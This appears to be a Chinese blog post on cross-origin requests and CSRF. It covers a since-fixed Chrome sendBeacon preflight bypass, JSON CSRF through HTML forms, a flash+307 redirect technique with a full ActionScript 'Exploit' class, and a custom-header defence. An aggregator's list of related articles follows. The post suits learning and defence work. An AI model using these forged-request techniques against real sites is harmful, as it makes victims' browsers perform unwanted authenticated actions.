java csrf 跨域_使用javascript跨域请求与CSRF
0x00 背景
同事在做CSRF的时候发现的。这里总结一下。
0x01 跨域的Simple Request
integrity="sha256-BbhdlvQf/xTY9gja0Dq3HiwQF8LaCRTXxZKRutelT44="
crossorigin="anonymous">
$.ajax({
type: "POST",
url: "https://www.nevermoe.com",
data: "{hello}",
//contentType:"application/json; charset=utf-8",
//dataType:"json",
success: function(){
alert('success')
},
});
如果你使用上面这个script来post一个跨域的request到www.nevermoe.com,然后使用burp来查看浏览器的流量,你会发现,这个request虽然是跨域的,但是它确实被POST出去了,而且也得到了response。
但是在浏览器端,浏览器却不会将返回的数据进行渲染,因为浏览器发现response里并没有'Access-Control-Allow-Origin',所有浏览器默认会拒绝显示跨域请求。
虽然如此,但是显然我们的POST请求显然已经成功了,也就是说,如果用在csrf上已经足够了。
0x02 跨域的 Non-Simple Request -- 失败版
但是这里有个问题,刚刚的脚本我们发出去的request的Content-Type是'application/x-www-form-urlencoded; charset=UTF-8'、这种简单的(Simple)javascript的request(包括'text/plain')会被浏览器直接发送出去,但如果我们想发送json格式的跨域请求,其实是做不到的。可以把刚刚上面那段脚本的注释去掉试试,发现burp捕捉到的流量是这样的:
这不是一个POST请求,而是一个OPTIONS请求。这个是被浏览器替换掉掉请求。这个请求有个学名,叫做pre-flight request,是浏览器用来确认服务器的CORS设置的,当发出这个请求后,发现服务器的response里没有'Access-Control-Allow-Origin' Header,则浏览器不会把真正的POST request发出去。在chrome控制台里你会看到这样的错误:
如此一来用javascript POST json格式似乎就不可能了。
0x03 跨域的 Non-Simple Request -- 成功版
这是同事发现的方法:在chrome下,用navigator.sendBeacon配合Blob可以跨域发送json的request。代码如下:
function jsonreq() {
var blob= new Blob([JSON.stringify({"hello":"world"})], {type : 'application/json; charset=UTF-8'}); // the blob
navigator.sendBeacon('https://www.nevermoe.com', blob )
}
jsonreq();
在chrome上这段代码不会发送pre-flight request,所以完全可以成功POST。如下:
注意,firefox上并不能成功,所以这是chrome的一个security bug,该bug从2015年开始被报告,但至今仍未fix。
(注:最新chrome已修复该bug,2017/09/01.)
0x05 扩展:防御CSRF
注意到,如果javascript想要发送一个Non-simple的request,那么一定会出发浏览器的pre-flight request,我们可以利用这一点来防止CSRF,比如使用json格式而非text/plain格式。但是在上面的chrome的bug中,即使使用json也是有危险的,我们可以使用强制发送自定request的header来防御CSRF:如果服务器收到的请求中没有自定义header(如X-Requested-With),则不处理该请求。如此一来,如果想要实现跨域javascript的请求,就必须写出如下js:
$.ajax({
type: "POST",
url: "https://www.nevermoe.com",
data: "{hello}",
headers: {'X-Requested-With': 'XMLHttpRequest'},
//contentType:"application/json; charset=utf-8",
//contentType:"text/plain",
//dataType:"json",
success: function(){
alert('success')
},
});
但是该js发送的请求是Non-simple的,浏览器看到这样的跨域请求会首先进行pre-flight请求,确定服务器是否允许跨域添加header。这时显然无法bypass CORS。
这种实现方式有个明显的好处,就是是stateless的,程序员不需要花额外的精力维护csrf_token之类的东西,实现起来较为简单。
0x06 注意
如果想要令jquery的ajax同时发送cookie,必须像这样使用"withCredentials":
$.ajax({
url: a_cross_domain_url,
xhrFields: {
withCredentials: true
}
});
并且用户的浏览器没有禁止第三方cookie,且服务器没有禁止WithCredentials。
在android的webview上,第三方cookie的是否允许的设置是这样的:
"Apps that target KITKAT or below default to allowing third party cookies. Apps targeting LOLLIPOP or later default to disallowing third party cookies."
也就是说在高版本的android webview中,即使withCredentials为true,默认也是无法用javascript发送带cookie的跨域请求的。
0x07 更新 2017.05.17
使用html form生成json数据
使用如下的方法可以生成一个Content-Type是text/plain的请求,且body部分是一个类似json的parameter(最后多了一个=号)。
如果服务器端没有判断只接受Content-Type为application/json的请求,且接受=号结尾的json格式,这样的csrf仍能够成立。
padding
如果你对多出来的等号不满意,可以构造如下html:
0x08 更新 2017.09.12
其实如果你想把Content-Type设置为application/json,还是有办法的,可以使用flash+307 redirect来实现。具体参照这个网站:
https://woto.kim/json_csrf。
你可以通过反编译的他的flash文件来自己分析一下。
0x09 更新 2019.03.15
flash+307 redirect来实现csrf的方式现在仍然可以,但是只能改变Content-Type,如果想增加别的header话则会导致浏览器去请求目标网站的crossdomain.xml。从同事哪里得到的代码:
package {
import flash.net.*;
import flash.events.*;
import flash.display.*;
import flash.text.*;
import flash.display.MovieClip;
import flash.external.ExternalInterface;
public class Exploit extends MovieClip
{
public function Exploit()
{
var txt:TextField = new TextField();
txt.text = "Hello!";
txt.x = 20;
txt.y = 20;
addChild(txt);
var parent:Object = loaderInfo.parameters;
// ExternalInterface.call("alert", parent["data"]);
var req:URLRequest = new URLRequest(parent["url"]);
req.method = URLRequestMethod.POST;
var header:URLRequestHeader = new URLRequestHeader("Content-type", "application/json");
req.requestHeaders.push(header);
req.data = parent["data"];
var loader:URLLoader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.TEXT
loader.load(req);
// var header2:URLRequestHeader = new URLRequestHeader("X-Requested-With", "XMLHttpRequest");
// req.requestHeaders.push(header2);
//var header2:URLRequestHeader = new URLRequestHeader("X-Haru", "yes");
//req.requestHeaders.push(header2);
//loader.addEventListener(Event.COMPLETE, loaderCompleteHD);
//loader.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHD);
var txt2:TextField = new TextField();
txt2.text = "Hello!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!";
txt2.x = 20;
txt2.y = 20;
addChild(txt2);
}
}
}
编译:
mxmlc Exploit.as -static-link-runtime-shared-libraries=true
java csrf 跨域_使用javascript跨域请求与CSRF相关推荐
- axios 跨域_当遇到跨域开发时,我们如何处理好前后端配置和请求库封装
我们知道很多大型项目都或多或少的采用跨域的模式开发, 以达到服务和资源的解耦和高效利用. 在大前端盛行的今天更为如此, 前端工程师可以通过nodejs或者Nginx轻松搭建起web服务器.这个时候我们 ...
- 测试是否支持跨域_浅谈跨域威胁与安全
WEB前端中最常见的两种安全风险,XSS与CSRF,XSS,即跨站脚本攻击.CSRF即跨站请求伪造,两者属于跨域安全攻击,对于常见的XSS以及CSRF在此不多谈论,仅谈论一些不太常见的跨域技术以及安全 ...
- java redirect 跨域_如何解决跨域重定向携带参数的问题?不使用将参数拼接在重定向url末尾的方式...
如何解决跨域重定向携带参数的问题?不使用将参数拼接在重定向url末尾的方式 需求,项目A在服务器A上,需要重定向到服务器B上项目B,并且需要携带参数,参数对用户不可见,所以不可以将参数拼接在重定向ur ...
- java redirect 跨域_碰到了跨域问题, Redirect is not allowed for a preflight request
liubx: 后端配置: @Configuration public class CorsConfigure implements WebMvcConfigurer { @Override publi ...
- springboot解决js前端跨域问题,javascript跨域问题解决
最近用springboot开发后台接口,但是接口开发好以后,用js请求接口json数据,遇到了烦人的跨域问题,也是找了好久才找到解决方法.下面来讲解下解决步骤. 一,编写Filter过滤器 把下面代码 ...
- jquery 跨域_springboot解决js前端跨域问题,javascript跨域问题解决
最近用springboot开发后台接口,但是接口开发好以后,用js请求接口json数据,遇到了烦人的跨域问题,也是找了好久才找到解决方法.下面来讲解下解决步骤. 一,编写Filter过滤器 把下面代码 ...
- nginx 允许跨域_细谈跨域请求的桥梁
何谓跨域?这是浏览器本身特有的同源策略.同源,是指请求的发送方和请求接收方必须在协议.域名和端口上保持高度一致,否则,就会出现请求成功,但无法成功拿到响应结果的现象.但实际开发中,各种复杂业务的交织难 ...
- java 嵌套对象序列化_在javascript中将复杂的,嵌套的,用户定义的对象序列化为字符串...
是的,所以's kind of like you'重新序列化对象数据,而不是类数据 . 变量仍然存在,但关于类的元数据(即方法)没有被保留 . 一个解决方案可能是serialijse . serial ...
- Java生成pgp密钥对_在Javascript中生成PGP密钥对,并使用加密的PGP私钥对文本进行签名...
我写的东西是 needs to do electronic signatures. 有些用户会像我这样的极客,并且已经拥有自己的PGP密钥.大多数人不会,也不会想要安装或维护它. 作为一种解决方案,我 ...
- JAVA script 循环 图片_深入分析JavaScript 事件循环(Event Loop)
事件循环(Event Loop),是每个JS开发者都会接触到的概念,但是刚接触时可能会存在各种疑惑. 众所周知,JS是单线程的,即同一时间只能运行一个任务.一般情况下这不会引发问题,但是如果我们有一个 ...
最新文章
- Linux的项目中积累的实际工作技巧
- Javascript获取数组中的最大值和最小值方法汇总
- 全排列的生成算法:字典序法
- 搞笑动图:这些痛,只有程序员懂…
- 企业微信_客户联系,获取客户及客户群列表及详情
- ganglia-Monitor
- python调用canoe_从Python调用CAPL函数
- 帮助你免于失业的十大软件技术
- 开发idea插件教程
- 切比雪夫不等式例题讲解_14.初中数学:怎么求k的值?解一元一次不等式,基础常考题型...
- 大胆预测,2019年最佳外置硬盘和便携式SSD非这四款莫属!
- 人工智能于交通系统而言
- 【数据结构与算法】起始篇
- 服务端发现2t3ik.p进程占CPU过高。2t3ik ddgs.3011
- piv图像处理文献综述_体视2D-3cPIV相机标定方法研究
- oracle里面的terminate,c++ ooci oracle中的ResultSet详解
- 2020低压电工复审模拟考试及低压电工作业模拟考试
- 通过IP地址查看计算机名
- C#串口扫描枪的简单实现
- “4K”时代将来临!标准/技术一网打尽